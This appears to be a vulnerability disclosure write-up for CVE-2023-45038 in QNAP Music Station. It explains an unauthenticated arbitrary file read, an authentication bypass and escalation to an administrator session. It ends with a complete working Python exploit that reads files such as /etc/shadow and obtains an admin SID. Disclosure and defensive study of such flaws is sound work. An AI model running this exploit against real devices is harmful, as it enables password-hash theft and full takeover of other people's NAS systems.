QNAP QSA-24-25 : Music Station - Unauthenticated file read and authentication bypass - CVE-2023-45038

CVE CVE-2023-45038 QNAP QSA-24-25 Music Station 5.3.20

Timeline (DD/MM/YYYY)

Summary

When the report has been sent to the QNAP security team, an update was available (5.3.23) that limits the authentication bypass to transcoding actions. But, this update was not available on the QTSCloud version used to discover the security issue. The CVSS score assigned to the CVE-2023-45038 is calculated for the version 5.3.23. If the score was calculated regarding all issues describe in the report, it should be at least 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)

A pre-authentication arbitrary file read allows an attacker to read sensitive files. As the MusicStation is running with the highest privileges, the attacker is able to read all files on the system, even, for example, the shadow file to obtain password hashes.

Also, a special file giving a valid SID for the “appuser” account belonging to the “administrators” group can be read. This allows the attacker to take full control and obtain root rights if necessary.

Authenticated Arbitrary File Read

Technical details

The vulnerability is in the api/as_get_file_api.php file. For this part of the exploitation, we will consider that we are authenticated as a simple user.

The transcode functionality (accessible with the form parameter “tt=ts”) will allow the attacker to output an arbitrary file if the “output_ts_file” function can be triggered with a user controlled path.

transcodefunction.png

To reach this function, the if condition at the line 459 requires a numeric value for the HTTP parameter “songid” and the variable $filePath should not be encoded.

The $filePath cannot be directly the path to the wanted file because a piece of code before will transform the value.

path-transformed.png

If we send the raw value “/etc/passwd” the value sent to the output_ts_file will be /share/etc/passwd. Thus, we need to send the value base64 encoded. The value will be decoded on the line 350 but not transformed

Exploit

By sending a numeric value for the “songid” parameter and a base64 encoded path for the “f” parameter, we are able to read a file on the system.

etc-passwd.png

As the application is running with the highest privileges, an attacker can read any file on the NAS. Here is an example with the shadow file:

etc-shadow.png

Authentication Bypass

Technical details

With the first vulnerability, we can read any file on the system. But, we can exploit it without authentication with a second vulnerability that bypass the authentication.

This file can handle two types of authentication.

AuthenticationFunctions.png

The first one uses a share code, but the “$filePath” cannot be fully controlled as it is retrieved from the database on line 70. This has to be bypassed by adding a value to the $ssid variable.

The second one will check the sid of the user to verify the authentication. But, the elseif condition can be bypassed if the $time_id variable is empty, which is the default.

Exploit

By adding a junk value to the “ssid” form parameter, authentication can be bypassed.

AuthBypassed.png

Obtain sid in administrators group

Arbitrary file read as root on QNAP system can be upgrade to administrative session. With administrative privileges, the attacker can perform any task on the system, even executing commands as root if necessary.

In the case of the MusicStation, an attacker read the app_token from the file located at /share/CACHEDEV1_DATA/.@station_config/musicdata/apptoken/ms.app.token

app_token.png

With this token, the attacker will be able to obtain a valid “sid” which will be in the “administrators” group.

sid.png admin_sid.png

Final exploit

Here is a working exploit to download a file or get a valid SID in administrators group.

import requests
import argparse
import base64

parser = argparse.ArgumentParser()
parser.add_argument('base_url')
parser.add_argument('-f', '--file')

TOKEN_PATH = b"/share/CACHEDEV1_DATA/.@station_config/musicdata/apptoken/ms.app.token"


args = parser.parse_args()

API_PATH = args.base_url+"/musicstation/api/as_get_file_api.php"
AUTH_LOGIN = args.base_url+"/cgi-bin/authLogin.cgi"
if args.file:
    print(requests.post(API_PATH, data={
        "ssid":"dummy",
        "songid":1,
        "tt":"ts",
        "f": base64.b64encode(args.file.encode())
    }).text)
else:
    token = requests.post(API_PATH, data={
        "ssid":"dummy",
        "songid":1,
        "tt":"ts",
        "f": base64.b64encode(TOKEN_PATH)
    }).text
    print("AppToken :", token)
    sid = requests.get(AUTH_LOGIN,params={
        "app_token": token,
        "app": "MUSIC_STATION",
        "auth": 1
    }).text.split("<authSid><![CDATA[")[1].split("]")[0]
    print("SID :", sid)
    if "<isAdmin><![CDATA[1]]></isAdmin>" in requests.get(AUTH_LOGIN+"?sid="+sid).text:
        print("SID is admin.")

exploit_get_file.png exploit_is_admin.png